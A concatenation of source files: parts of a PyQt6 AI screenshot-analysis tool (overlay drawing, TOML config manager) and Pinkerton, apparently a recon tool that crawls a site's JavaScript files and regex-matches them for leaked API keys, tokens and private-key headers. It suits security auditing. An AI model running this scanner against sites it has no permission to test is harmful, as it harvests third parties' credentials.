painter.fillRect(self.current_rect, QColor(0, 0, 0, 0))
# 恢复正常绘制模式
painter.setCompositionMode(QPainter.CompositionMode.CompositionMode_SourceOver)
# 绘制选择框边框
pen = QPen(QColor(0, 120, 215), 2) # Windows蓝色
painter.setPen(pen)
painter.drawRect(self.current_rect)
# 绘制选择框信息
self.draw_selection_info(painter)
def draw_selection_info(self, painter):
"""绘制选择框信息"""
if self.current_rect.isEmpty():
return
# 设置字体（缩小字体）
font = QFont("Microsoft YaHei", 10, QFont.Weight.Medium)
painter.setFont(font)
# 准备信息文本
width = self.current_rect.width()
height = self.current_rect.height()
info_text = f"{width} × {height}"
# 计算文本位置
fm = QFontMetrics(font)
text_rect = fm.boundingRect(info_text)
# 放置在选择框外的右下角，距离选择框15像素
info_x = self.current_rect.right() + 15
info_y = self.current_rect.bottom() + 15
# 确保信息框在屏幕范围内
if info_x + text_rect.width() + 16 > self.width():
# 如果右侧空间不够，放在左侧
info_x = self.current_rect.left() - text_rect.width() - 31
if info_y + text_rect.height() + 12 > self.height():
# 如果下方空间不够，放在上方
info_y = self.current_rect.top() - text_rect.height() - 27
# 如果左侧也不够，强制放在屏幕内
if info_x < 10:
info_x = 10
if info_y < 10:
info_y = 10
# 绘制信息背景（缩小的圆角矩形）
info_bg_rect = QRect(
info_x - 8, info_y - 6,
text_rect.width() + 16, text_rect.height() + 12
)
# 绘制背景阴影
shadow_rect = QRect(info_bg_rect.x() + 1, info_bg_rect.y() + 1,
info_bg_rect.width(), info_bg_rect.height())
painter.fillRect(shadow_rect, QColor(0, 0, 0, 100))
# 绘制背景
painter.fillRect(info_bg_rect, QColor(0, 120, 215, 200)) # Windows蓝色背景
# 绘制背景边框
painter.setPen(QPen(QColor(255, 255, 255, 120), 1))
painter.drawRoundedRect(info_bg_rect, 4, 4)
# 绘制文本阴影
painter.setPen(QPen(QColor(0, 0, 0, 120)))
painter.drawText(info_x + 1, info_y + text_rect.height() + 1, info_text)
# 绘制信息文本
painter.setPen(QPen(QColor(255, 255, 255, 255)))
painter.drawText(info_x, info_y + text_rect.height(), info_text)
def draw_instructions(self, painter):
"""绘制操作提示"""
# 只在没有选择区域时显示操作提示
if not self.current_rect.isEmpty():
return
# 设置字体
font = QFont("Microsoft YaHei", 14, QFont.Weight.Medium)
painter.setFont(font)
# 准备提示文本（只在未选择时显示）
instructions = [
"拖拽鼠标选择截图区域",
"按 ESC 键取消"
]
# 计算所有文本的总高度，用于垂直居中
fm = QFontMetrics(font)
total_height = 0
text_rects = []
for instruction in instructions:
text_rect = fm.boundingRect(instruction)
text_rects.append(text_rect)
total_height += text_rect.height() + 20 # 20是行间距
total_height -= 20 # 减去最后一行的行间距
# 计算起始Y位置（垂直居中）
start_y = (self.height() - total_height) // 2
# 绘制每行文本
y_offset = start_y
for i, instruction in enumerate(instructions):
text_rect = text_rects[i]
# 计算水平居中位置
x = (self.width() - text_rect.width()) // 2
# 绘制文本阴影（多层阴影效果）
shadow_offsets = [(2, 2), (1, 1), (3, 3)]
shadow_colors = [QColor(0, 0, 0, 180), QColor(0, 0, 0, 120), QColor(0, 0, 0, 60)]
for offset, shadow_color in zip(shadow_offsets, shadow_colors):
painter.setPen(QPen(shadow_color))
painter.drawText(x + offset[0], y_offset + text_rect.height() + offset[1], instruction)
# 绘制文本背景（圆角矩形，更好的视觉效果）
bg_rect = QRect(
x - 15, y_offset - 5,
text_rect.width() + 30, text_rect.height() + 15
)
# 绘制背景阴影
shadow_rect = QRect(bg_rect.x() + 3, bg_rect.y() + 3, bg_rect.width(), bg_rect.height())
painter.fillRect(shadow_rect, QColor(0, 0, 0, 100))
# 绘制背景（渐变效果）
painter.fillRect(bg_rect, QColor(0, 0, 0, 200))
# 绘制背景边框
painter.setPen(QPen(QColor(255, 255, 255, 80), 1))
painter.drawRoundedRect(bg_rect, 8, 8)
# 绘制主文本（白色）
painter.setPen(QPen(QColor(255, 255, 255, 255)))
painter.drawText(x, y_offset + text_rect.height(), instruction)
y_offset += text_rect.height() + 20
def draw_selection_instructions(self, painter):
"""绘制选择区域时的操作提示"""
# 设置字体
font = QFont("Microsoft YaHei", 13, QFont.Weight.Medium)
painter.setFont(font)
# 准备提示文本
instructions = [
"双击或按 Enter/Space 确认截图",
"按 ESC 键取消"
]
# 计算文本位置（屏幕顶部居中）
fm = QFontMetrics(font)
y_offset = 25
for instruction in instructions:
text_rect = fm.boundingRect(instruction)
x = (self.width() - text_rect.width()) // 2
# 绘制文本背景（不遮挡选择区域）
bg_rect = QRect(
x - 12, y_offset - 6,
text_rect.width() + 24, text_rect.height() + 12
)
# 绘制背景阴影
shadow_rect = QRect(bg_rect.x() + 2, bg_rect.y() + 2, bg_rect.width(), bg_rect.height())
painter.fillRect(shadow_rect, QColor(0, 0, 0, 100))
# 绘制背景
painter.fillRect(bg_rect, QColor(0, 0, 0, 180))
# 绘制背景边框
painter.setPen(QPen(QColor(255, 255, 255, 60), 1))
painter.drawRoundedRect(bg_rect, 6, 6)
# 绘制文本阴影
painter.setPen(QPen(QColor(0, 0, 0, 150)))
painter.drawText(x + 1, y_offset + text_rect.height() + 1, instruction)
# 绘制主文本
painter.setPen(QPen(QColor(255, 255, 255, 255)))
painter.drawText(x, y_offset + text_rect.height(), instruction)
y_offset += text_rect.height() + 15
def show_control_panel_at_selection(self):
"""在选择区域附近显示控制面板"""
if self.current_rect.isEmpty():
return
# 创建控制面板
if not self.control_panel:
self.control_panel = ScreenshotControlPanel(self)
# 计算控制面板位置
panel_x = self.current_rect.right() - self.control_panel.width()
panel_y = self.current_rect.bottom() + 10
# 确保面板在屏幕范围内
if panel_x < 0:
panel_x = self.current_rect.x()
if panel_x + self.control_panel.width() > self.width():
panel_x = self.width() - self.control_panel.width()
if panel_y + self.control_panel.height() > self.height():
panel_y = self.current_rect.y() - self.control_panel.height() - 10
# 显示控制面板
self.control_panel.move(panel_x, panel_y)
self.control_panel.show()
self.show_control_panel = True
def hide_control_panel(self):
"""隐藏控制面板"""
if self.control_panel:
self.control_panel.hide()
self.show_control_panel = False
def confirm_screenshot(self):
"""确认截图"""
if self.current_rect.isEmpty():
return
try:
# 获取屏幕信息
screen = QApplication.primaryScreen()
device_pixel_ratio = screen.devicePixelRatio()
# 截取选择区域 - 考虑DPI缩放
x = int(self.current_rect.x() * device_pixel_ratio)
y = int(self.current_rect.y() * device_pixel_ratio)
width = int(self.current_rect.width() * device_pixel_ratio)
height = int(self.current_rect.height() * device_pixel_ratio)
# 使用PIL截取指定区域
screenshot = ImageGrab.grab(bbox=(x, y, x + width, y + height))
# 如果DPI缩放不是1，需要调整图片大小回到原始尺寸
if device_pixel_ratio != 1.0:
original_width = self.current_rect.width()
original_height = self.current_rect.height()
screenshot = screenshot.resize((original_width, original_height), Image.LANCZOS)
if screenshot:
logging.info(f"截图确认: {self.current_rect.width()}x{self.current_rect.height()} at ({self.current_rect.x()}, {self.current_rect.y()}), DPI: {device_pixel_ratio}")
self.screenshot_confirmed.emit(screenshot)
else:
logging.error("截图失败")
except Exception as e:
logging.error(f"确认截图时出错: {e}")
finally:
self.close()
def cancel_screenshot(self):
"""取消截图"""
logging.info("截图已取消")
self.screenshot_cancelled.emit()
self.close()
def closeEvent(self, event):
"""关闭事件"""
self.hide_control_panel()
super().closeEvent(event)
class ScreenshotControlPanel(QFrame):
"""截图控制面板"""
def __init__(self, parent_overlay):
super().__init__(parent_overlay)
self.parent_overlay = parent_overlay
self.setup_ui()
def setup_ui(self):
"""设置UI"""
self.setFixedSize(200, 60)
self.setStyleSheet("""
QFrame {
background-color: rgba(40, 40, 40, 220);
border: 1px solid rgba(255, 255, 255, 100);
border-radius: 8px;
}
QPushButton {
background-color: rgba(0, 120, 215, 180);
color: white;
border: none;
border-radius: 4px;
padding: 8px 16px;
font-size: 11px;
font-weight: bold;
}
QPushButton:hover {
background-color: rgba(0, 120, 215, 220);
}
QPushButton:pressed {
background-color: rgba(0, 100, 180, 255);
}
QPushButton#cancel_btn {
background-color: rgba(180, 50, 50, 180);
}
QPushButton#cancel_btn:hover {
background-color: rgba(180, 50, 50, 220);
}
""")
# 创建布局
layout = QHBoxLayout(self)
layout.setContentsMargins(10, 10, 10, 10)
layout.setSpacing(10)
# 取消按钮
self.cancel_btn = QPushButton("取消")
self.cancel_btn.setObjectName("cancel_btn")
self.cancel_btn.clicked.connect(self.parent_overlay.cancel_screenshot)
layout.addWidget(self.cancel_btn)
# 确认按钮
self.confirm_btn = QPushButton("确认")
self.confirm_btn.clicked.connect(self.parent_overlay.confirm_screenshot)
layout.addWidget(self.confirm_btn)
class AdvancedScreenshotManager:
"""高级截图管理器"""
def __init__(self, config_manager):
self.config_manager = config_manager
self.overlay = None
def start_screenshot(self) -> None:
"""开始截图"""
try:
# 如果已有覆盖层，先关闭并清理
if self.overlay:
try:
self.overlay.screenshot_confirmed.disconnect()
self.overlay.screenshot_cancelled.disconnect()
except:
pass
self.overlay.close()
self.overlay = None
# 创建新的覆盖层
self.overlay = ScreenshotOverlay()
# 连接信号
self.overlay.screenshot_confirmed.connect(self._on_screenshot_confirmed)
self.overlay.screenshot_cancelled.connect(self._on_screenshot_cancelled)
# 显示覆盖层
self.overlay.show()
self.overlay.raise_()
self.overlay.activateWindow()
logging.info("高级截图模式已启动")
except Exception as e:
logging.error(f"启动截图失败: {e}")
if self.overlay:
self.overlay.close()
self.overlay = None
def _on_screenshot_confirmed(self, screenshot):
"""截图确认回调"""
# 这里可以添加回调函数或信号
logging.info("截图已确认")
def _on_screenshot_cancelled(self):
"""截图取消回调"""
logging.info("截图已取消")
def cleanup(self):
"""清理资源"""
if self.overlay:
self.overlay.close()
self.overlay = None
|
000pp/Pinkerton
| 2,175 |
src/pinkerton/main.py
|
import re
from requests import get, exceptions
from urllib3 import disable_warnings
from rich.console import Console
console = Console()
from src.pinkerton.settings import get_user_agent
from src.pinkerton.modules.secret import scan
disable_warnings()
def perform_checks(args) -> None:
" Check if target is accessible "
url = args.url
custom_headers = {
"User-Agent": get_user_agent(),
}
for header in args.HEADER:
name, value = header
custom_headers[name] = value
try:
response = get(url, headers=custom_headers, verify=False)
status_code: int = response.status_code
page_content: str = response.text
if(response.ok):
console.print(f"[[green]+[/]] Connected sucessfully with [yellow]{url}[/]", highlight=False)
extract_js(url, page_content, custom_headers)
else:
console.print(f"[[red]![/]] {url} returned {status_code} status code", highlight=False)
return False
except exceptions.ConnectionError as con_error:
console.print(f"[[red]![/]] {url} Connection Error: {con_error}", highlight=False)
return False
except exceptions.InvalidURL as invalid_error:
console.print(f"[[red]![/]] Invalid URL {url}: {invalid_error}", highlight=False)
return False
def extract_js(url, page_content, custom_headers) -> None:
" Extract JavaScript files links from page source "
console.print(f"[[yellow]![/]] Extracting JavaScript files from [yellow]{url}[/]", highlight=False)
js_file_pattern = r'src=["\']?([^"\'>\s]+\.js)(\?.*?)?["\'\s>]'
js_files = re.findall(js_file_pattern, page_content)
console.print(f"[[green]+[/]] {len(js_files)} file(s) found\n", highlight=False)
for js_file, _ in js_files:
if(js_file.startswith("http")):
console.print(f"[[yellow]![/]] Scanning [yellow]{js_file}[/]", highlight=False)
scan(js_file, custom_headers)
else:
final_url = f"{url}{js_file}"
console.print(f"[[yellow]![/]] Scanning [yellow]{final_url}[/]", highlight=False)
scan(final_url, custom_headers)
|
000pp/Pinkerton
| 6,029 |
src/pinkerton/modules/secret.py
|
from rich.console import Console
console = Console()
from requests import get
from jsbeautifier import beautify
from re import findall
regex_list = {
'Google API': r'AIza[0-9A-Za-z-_]{35}',
"Artifactory API Token": r'(?:\s|=|:|"|^)AKC[a-zA-Z0-9]{10,}',
"Artifactory Password": r'(?:\s|=|:|"|^)AP[\dABCDEF][a-zA-Z0-9]{8,}',
"Cloudinary Basic Auth": r"cloudinary:\/\/[0-9]{15}:[0-9A-Za-z]+@[a-z]+",
'Firebase Key': r'AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}',
"LinkedIn Secret Key": r"(?i)linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]",
"Mailto String": r"(?<=mailto:)[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9.-]+",
"Picatic API Key": r"sk_live_[0-9a-z]{32}",
"Firebase URL": r".*firebaseio\.com",
"PGP Private Key Block": r"-----BEGIN PGP PRIVATE KEY BLOCK-----",
"SSH (DSA) Private Key": r"-----BEGIN DSA PRIVATE KEY-----",
"SSH (EC) Private Key": r"-----BEGIN EC PRIVATE KEY-----",
"SSH (RSA) Private Key": r"-----BEGIN OPENSSH PRIVATE KEY-----",
"SSH (ssh-ed25519) Public Key": r"ssh-ed25519",
'Google Captcha Key': r'6L[0-9A-Za-z-_]{38}|^6[0-9a-zA-Z_-]{39}$',
"Amazon AWS Access Key ID": r"AKIA[0-9A-Z]{16}",
"Amazon MWS Auth Token": r"amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}",
"Amazon AWS API Key": r"AKIA[0-9A-Z]{16}",
'Amazon AWS URL' : r's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com',
"Generic API Key": r"(?i)api[_]?key.*['|\"]\w{32,45}['|\"]",
"Generic Secret": r"(?i)secret.*['|\"]\w{32,45}['|\"]",
'Authorization Bearer': r'bbearer [a-zA-Z0-9_\\-\\.=]+',
'Authorization Basic': r'basic [a-zA-Z0-9=:_\+\/-]{5,100}',
'Authorization API Key' : r'api[key|_key|\s+]+[a-zA-Z0-9_\-]{5,100}',
'PayPal Braintree Access Token' : r'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}',
'Mailgun API Key' : r'key-[0-9a-zA-Z]{32}',
"MailChimp API Key": r"[0-9a-f]{32}-us[0-9]{1,2}",
'RSA Private Key' : r'-----BEGIN RSA PRIVATE KEY-----',
"JWT Token": r'ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*$',
"Facebook Access Token": r"EAACEdEose0cBA[0-9A-Za-z]+",
"Facebook OAuth": r"(?i)facebook.*['|\"][0-9a-f]{32}['|\"]",
"Google OAuth" : r'ya29\.[0-9A-Za-z\-_]+',
"Facebook Client ID": r"""(?i)(facebook|fb)(.{0,20})?['\"][0-9]{13,17}""",
"Google Cloud Platform API Key": r"(?i)\b(AIza[0-9A-Za-z\\-_]{35})(?:['|\"|\n|\r|\s|\x60]|$)",
"Google Cloud Platform OAuth": r"[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com",
"Google Drive API Key": r"AIza[0-9A-Za-z\\-_]{35}",
"Google Drive OAuth": r"[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com",
"Google (GCP) Service-account": r"\"type\": \"service_account\"",
"Google Gmail API Key": r"AIza[0-9A-Za-z\\-_]{35}",
"Google Gmail OAuth": r"[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com",
"Google OAuth Access Token": r"ya29\\.[0-9A-Za-z\\-_]+",
"Google YouTube API Key": r"AIza[0-9A-Za-z\\-_]{35}",
"Google YouTube OAuth": r"[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com",
'GitHub Access Token' : r'[a-zA-Z0-9_-]*:[a-zA-Z0-9_\-]+@github\.com*',
"GitHub Personal Access Token": r"ghp_[0-9a-zA-Z]{36}",
"GitHub URL": r"(?i)github.*['|\"][0-9a-zA-Z]{35,40}['|\"]",
"GitHub App Token": r"(ghu|ghs)_[0-9a-zA-Z]{36}",
"Slack Token": r"(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})",
"Slack Webhook": r"https://hooks.slack.com/services/T\w{8}/B\w{8}/\w{24}",
"Slack Webhook 2": r"T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}",
"Slack OAuth v2 Username/Bot Access Token": r"xoxb-[0-9]{11}-[0-9]{11}-[0-9a-zA-Z]{24}",
"Slack OAuth v2 Configuration Token": r"xoxe.xoxp-1-[0-9a-zA-Z]{166}",
"Picatic API Key": r"sk_live_[0-9a-z]{32}",
"Stripe API Key": r"sk_live_[0-9a-zA-Z]{24}",
"Stripe Restricted API Key": r"rk_live_[0-9a-zA-Z]{24}",
"Twitter Access Token": r"(?i)twitter.*[1-9][0-9]+-\w{40}",
"Twitter OAuth": r"(?i)twitter.*['|\"]\w{35,44}['|\"]",
"Twitter Client ID": r"(?i)twitter(.{0,20})?['\"][0-9a-z]{18,25}",
"URL Parameter": r"(?<=\?|\&)[a-zA-Z0-9_]+(?=\=)",
"Twilio API Key": r"SK[0-9a-fA-F]{32}",
"Square Access Token": r"sq0atp-[0-9A-Za-z\\-_]{22}",
"Square OAuth Secret": r"sq0csp-[0-9A-Za-z\\-_]{43}",
"URL": r'(https?|ftp)://(-\.)?([^\s/?\.#-]+\.?)+(/[^\s]*)?$iS',
"Adobe Client Secret": r'''(?i)\b((p8e-)[a-zA-Z0-9]{32})(?:['|\"|\n|\r|\s|\x60]|$)''',
"Alibaba AccessKey ID": r"(?i)\b((LTAI)[a-zA-Z0-9]{20})(?:['|\"|\n|\r|\s|\x60]|$)",
"Clojars API Token": r"(?i)(CLOJARS_)[a-z0-9]{60}",
"Doppler API Token": r"(dp\.pt\.)[a-zA-Z0-9]{43}",
"Dynatrace API Token": r"dt0c01\.[a-zA-Z0-9]{24}\.[a-z0-9]{64}",
"EasyPost API Token": r"EZAK[a-zA-Z0-9]{54}",
"GitLab Personal Access Token": r"glpat-[0-9a-zA-Z\-\_]{20}",
"NPM Access Token": r"(?i)\b(npm_[a-z0-9]{36})(?:['|\"|\n|\r|\s|\x60]|$)",
"Shopify Private APP Access Token": r"shppa_[a-fA-F0-9]{32}",
"Shopify Shared Secret": r"shpss_[a-fA-F0-9]{32}",
"Shopify Custom Access Token": r"shpca_[a-fA-F0-9]{32}",
"Shopify Access Token": r"shpat_[a-fA-F0-9]{32}",
"Asana Client ID": r"""(?i)(?:asana)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([0-9]{16})(?:['|\"|\n|\r|\s|\x60|;]|$)""",
"Asana Client Secret": r"""(?i)(?:asana)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([a-z0-9]{32})(?:['|\"|\n|\r|\s|\x60|;]|$)"""
}
def scan(url, custom_headers) -> None:
" Open JavaScript file without parsing URL before requesting "
response: function = get(url, headers=custom_headers, timeout=30)
content: str = response.text
content: str = beautify(content)
for key, value in regex_list.items():
pattern = value
match = findall(pattern, content)
if(match):
console.print(f"\n[[green]+[/]] [yellow]{key}[/] found in [yellow]{url}[/]: {match}\n", highlight=False)
|
00000O00000/ask-ai-screenshot
| 18,578 |
util.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI截图分析工具模块
包含配置管理、日志管理、错误处理等功能
"""
import os
import logging
import time
import glob
from datetime import datetime
from typing import Dict, Any, Optional
from PyQt6.QtWidgets import QMessageBox
from PyQt6.QtCore import QObject, pyqtSignal
try:
import tomllib
import tomli_w
TOML_AVAILABLE = True
except ImportError:
TOML_AVAILABLE = False
print("警告: tomllib/tomli_w 模块未安装，将使用默认配置")
class ConfigManager(QObject):
"""配置文件管理器"""
config_changed = pyqtSignal()
def __init__(self):
super().__init__()
self.config_file = "config.toml"
self.config = self._get_hardcoded_config()
@property
def config_file_path(self) -> str:
"""获取配置文件路径"""
return os.path.abspath(self.config_file)
def _get_hardcoded_config(self) -> Dict[str, Any]:
"""获取硬编码配置（与_save_config_with_comments保持一致）"""
return {
# AI模型配置 - 定义使用的AI模型相关参数
"ai_model": {
"name": "内置Qwen3模型", # 模型显示名称
"model_id": "qwen3-235b-a22b", # 模型标识符
"api_endpoint": "http://127.0.0.1:58888/v1/chat/completions", # API端点地址，支持本地Flask服务
"api_key": "sk-example-key", # API密钥
"max_tokens": 0, # 最大令牌数，0表示使用模型默认值
"temperature": 0.3, # 生成温度，控制回答的随机性(0-2)
"vision_support": False, # 是否支持图像输入
"enable_streaming": True # 是否启用流式响应
},
# 提示词配置 - 预定义的AI交互提示词模板
"prompts": [
{
"name": "OCR并解释内容", # 提示词名称
"content": "请简要解释给出的文字内容。给出的内容由OCR获得，若不影响判断，则请忽略可能存在错误的换行符、空格与错别字。回复的内容请勿包含任何markdown标记，以简洁明了为主，不要长篇大论。" # 提示词内容
},
{
"name": "OCR并解答题目",
"content": "请解答给出的题目。给出的题目内容由OCR获得，若不影响判断，则请忽略可能存在错误的换行符、空格与错别字。回复的内容请勿包含任何markdown标记，把答案放在最前面，且简短讲解即可。"
},
{
"name": "OCR并翻译文本",
"content": "请中英互译给出的文本。给出的题目内容由OCR获得，若不影响判断，则请忽略可能存在错误的换行符、空格与错别字。请按原格式输出。"
},
{
"name": "AI直接提取文字",
"content": "请识别图片中的文字内容，并格式化后给我。"
},
{
"name": "AI直接解答题目",
"content": "请解答给出的截图中的题目。回复的内容请勿包含任何markdown标记，把答案放在最前面，且简短讲解即可。"
}
],
# OCR配置 - 光学字符识别相关设置
"ocr": {
"engine": "vision_model", # OCR引擎类型：xinyew(新野OCR)、tencent(腾讯云OCR)、vision_model(AI视觉模型)
"type": "ocr_then_text", # 处理类型：ocr_then_text(先OCR再分析)、direct_vision(直接视觉分析)
# 腾讯云OCR配置
"tencent": {
"secret_id": "", # 腾讯云SecretId
"secret_key": "", # 腾讯云SecretKey
"region": "ap-beijing", # 服务区域
"language": "zh" # 识别语言
},
# AI视觉模型OCR配置
"vision_model": {
"name": "OCR专用模型", # 模型名称
"model_id": "qwen2.5-vl-32b-instruct", # 模型ID
"api_endpoint": "http://127.0.0.1:58888/v1/chat/completions", # API端点
"api_key": "sk-example-key", # API密钥
"max_tokens": 4096, # 最大令牌数
"temperature": 0.1, # 生成温度，OCR任务使用较低温度
"prompt": "请识别图片中的文字内容，并格式化后给我。只返回识别到的文字，不要添加任何解释或说明。" # OCR专用提示词
}
},
# 通知配置 - 结果展示方式设置
"notification": {
"type": "large_popup", # 通知类型：none(不额外通知)、large_popup(大弹窗)、small_popup(小弹窗)、email(邮件)
# SMTP邮件配置
"smtp": {
"server": "smtp.qq.com", # SMTP服务器地址
"port": 587, # SMTP端口
"username": "", # 邮箱用户名
"password": "", # 邮箱密码或授权码
"to_email": "" # 接收邮箱地址
}
},
# 快捷键配置 - 全局热键设置
"hotkey": {
"screenshot": "alt+shift+d" # 截图快捷键组合
},
# 截图配置 - 截图质量和格式设置
"screenshot": {
"quality": "high", # 截图质量：high(高质量)、medium(中等)、low(低质量)
"format": "PNG" # 截图格式：PNG、JPEG
},
# 日志配置 - 应用程序日志记录设置
"logging": {
"level": "INFO" # 日志级别：DEBUG、INFO、WARNING、ERROR、CRITICAL
}
}
def load_config(self) -> bool:
"""加载配置文件"""
try:
if not TOML_AVAILABLE:
logging.warning("TOML模块不可用，使用默认配置")
return True
if os.path.exists(self.config_file):
with open(self.config_file, 'rb') as f:
loaded_config = tomllib.load(f)
self.config = self._merge_config(self._get_hardcoded_config(), loaded_config)
logging.info("配置文件加载成功")
else:
logging.info("配置文件不存在，使用默认配置")
self.save_config()
self.config_changed.emit()
return True
except Exception as e:
logging.error(f"加载配置文件失败: {e}")
return False
def load_config_from_file(self, file_path: str) -> bool:
"""从指定文件加载配置"""
try:
if not TOML_AVAILABLE:
logging.warning("TOML模块不可用，无法加载配置文件")
return False
if not os.path.exists(file_path):
logging.error(f"配置文件不存在: {file_path}")
return False
with open(file_path, 'rb') as f:
loaded_config = tomllib.load(f)
# 更新当前配置文件路径
self.config_file = file_path
self.config = self._merge_config(self._get_hardcoded_config(), loaded_config)
self.config_changed.emit()
logging.info(f"从文件加载配置成功: {file_path}")
return True
except Exception as e:
logging.error(f"从文件加载配置失败: {e}")
return False
def save_config(self) -> bool:
"""保存配置文件"""
try:
if not TOML_AVAILABLE:
logging.warning("TOML模块不可用，无法保存配置")
return False
# 检查是否是首次创建配置文件
is_first_time = not os.path.exists(self.config_file)
if is_first_time:
# 首次创建时生成带注释的配置文件
self._save_config_with_comments()
else:
# 后续保存时使用标准方式
with open(self.config_file, 'wb') as f:
tomli_w.dump(self.config, f)
logging.info("配置文件保存成功")
self.config_changed.emit()
return True
except Exception as e:
logging.error(f"保存配置文件失败: {e}")
return False
def _save_config_with_comments(self) -> None:
"""保存带详细注释的配置文件"""
# 使用硬编码配置生成带注释的TOML文件
config = self._get_hardcoded_config()
config_content = '''# AI截图分析工具配置文件
# 本文件包含应用程序的所有配置选项，每个选项都有详细说明
# ==================== AI模型配置 ====================
[ai_model]
# 定义使用的AI模型相关参数
# ◆ 模型显示名称
name = "{ai_model_name}"
# ◆ 模型标识符，用于API调用
model_id = "{ai_model_id}"
# ◆ API端点地址，支持内置Qwen API服务或远程第三方API
# 内置服务：http://127.0.0.1:58888/v1/chat/completions
# 第三方服务示例：https://api.openai.com/v1/chat/completions
# 当您填写了第三方服务时，内置的服务将不会运行
api_endpoint = "{ai_api_endpoint}"
# ◆ API密钥，用于身份验证
# 使用内置服务时可以随便填
api_key = "{ai_api_key}"
# ◆ 最大令牌数，0表示使用模型默认值
max_tokens = {ai_max_tokens}
# ◆ 生成温度，控制回答的随机性(0-1)，值越低越确定
temperature = {ai_temperature}
# ◆ 模型是否有视觉
# 不知道就填false
vision_support = {ai_vision_support}
# ◆ 是否启用流式响应
# 秘塔AI请填false，响应速度较快的模型也推荐填false。深度思考一定填true。
enable_streaming = {ai_enable_streaming}
# ==================== 提示词配置 ====================
# ◆ 预定义的AI交互提示词模板，可根据不同场景，在软件内使用
{prompts_section}
# ==================== OCR配置 ====================
[ocr]
# ◆ 图片处理方式：
# - ocr_then_text: 先OCR提取文字再分析
# - direct_vision: 直接使用视觉AI分析图片
type = "{ocr_type}"
# ◆ OCR引擎类型：
# - xinyew: 新野OCR（免费，推荐）
# - tencent: 腾讯云OCR（需要配置密钥）
# - vision_model: AI视觉模型OCR
engine = "{ocr_engine}"
[ocr.tencent]
# 腾讯云OCR配置（仅当engine=tencent时需要）
# ◆ 腾讯云SecretId
secret_id = "{tencent_secret_id}"
# ◆ 腾讯云SecretKey
secret_key = "{tencent_secret_key}"
# ◆ 服务区域
# 推荐保持默认
region = "{tencent_region}"
# ◆ 识别语言：zh(中文)、en(英文)
# 推荐保持默认
language = "{tencent_language}"
[ocr.vision_model]
# AI视觉模型OCR配置（仅当engine=vision_model时需要）
# ◆ 模型名称
name = "{vision_model_name}"
# ◆ 模型ID
model_id = "{vision_model_id}"
# ◆ API端点
api_endpoint = "{vision_api_endpoint}"
# ◆ API密钥
api_key = "{vision_api_key}"
# ◆ 最大令牌数
max_tokens = {vision_max_tokens}
# ◆ 生成温度，OCR任务推荐使用较低温度
temperature = {vision_temperature}
# ◆ OCR专用提示词
prompt = "{vision_prompt}"
# ==================== 通知配置 ====================
[notification]
# 结果展示方式设置
# ◆ 通知类型：
# - none: 不额外通知
# - large_popup: 屏幕中心大弹窗
# - small_popup: 屏幕左下角小弹窗
# - email: 邮件通知
type = "{notification_type}"
[notification.smtp]
# SMTP邮件配置（仅当type=email时需要）
# 小贴士：邮件可以发给自己
# ◆ SMTP服务器地址
server = "{smtp_server}"
# ◆ SMTP端口
port = {smtp_port}
# ◆ 邮箱用户名
username = "{smtp_username}"
# ◆ 邮箱密码或授权码
password = "{smtp_password}"
# ◆ 接收邮箱地址
to_email = "{smtp_to_email}"
# ==================== 快捷键配置 ====================
[hotkey]
# 全局热键设置
# ◆ 截图快捷键组合
# 支持的修饰键：ctrl、alt、shift
# 示例："alt+shift+d"、"ctrl+alt+s"
# 建议事先验证您的快捷键是否已经被占用
screenshot = "{hotkey_screenshot}"
# ==================== 截图配置 ====================
[screenshot]
# 截图质量和格式设置
# ◆ 截图质量：high(高质量)、medium(中等)、low(低质量)
quality = "{screenshot_quality}"
# ◆ 截图格式：PNG、JPEG
format = "{screenshot_format}"
# ==================== 日志配置 ====================
[logging]
# ◆ 应用程序日志记录设置
# 日志级别：DEBUG、INFO、WARNING、ERROR、CRITICAL
# DEBUG: 详细调试信息
# INFO: 一般信息（推荐）
# WARNING: 警告信息
# ERROR: 错误信息
# CRITICAL: 严重错误
level = "{logging_level}"
'''
# 生成提示词部分
prompts_section = ""
for prompt in config["prompts"]:
prompts_section += f'''[[prompts]]
name = "{prompt["name"]}"
content = "{prompt["content"]}"
'''
# 格式化配置内容
formatted_content = config_content.format(
ai_model_name=config["ai_model"]["name"],
ai_model_id=config["ai_model"]["model_id"],
ai_api_endpoint=config["ai_model"]["api_endpoint"],
ai_api_key=config["ai_model"]["api_key"],
ai_max_tokens=config["ai_model"]["max_tokens"],
ai_temperature=config["ai_model"]["temperature"],
ai_vision_support=str(config["ai_model"]["vision_support"]).lower(),
ai_enable_streaming=str(config["ai_model"]["enable_streaming"]).lower(),
prompts_section=prompts_section.strip(),
ocr_type=config["ocr"]["type"],
ocr_engine=config["ocr"]["engine"],
tencent_secret_id=config["ocr"]["tencent"]["secret_id"],
tencent_secret_key=config["ocr"]["tencent"]["secret_key"],
tencent_region=config["ocr"]["tencent"]["region"],
tencent_language=config["ocr"]["tencent"]["language"],
vision_model_name=config["ocr"]["vision_model"]["name"],
vision_model_id=config["ocr"]["vision_model"]["model_id"],
vision_api_endpoint=config["ocr"]["vision_model"]["api_endpoint"],
vision_api_key=config["ocr"]["vision_model"]["api_key"],
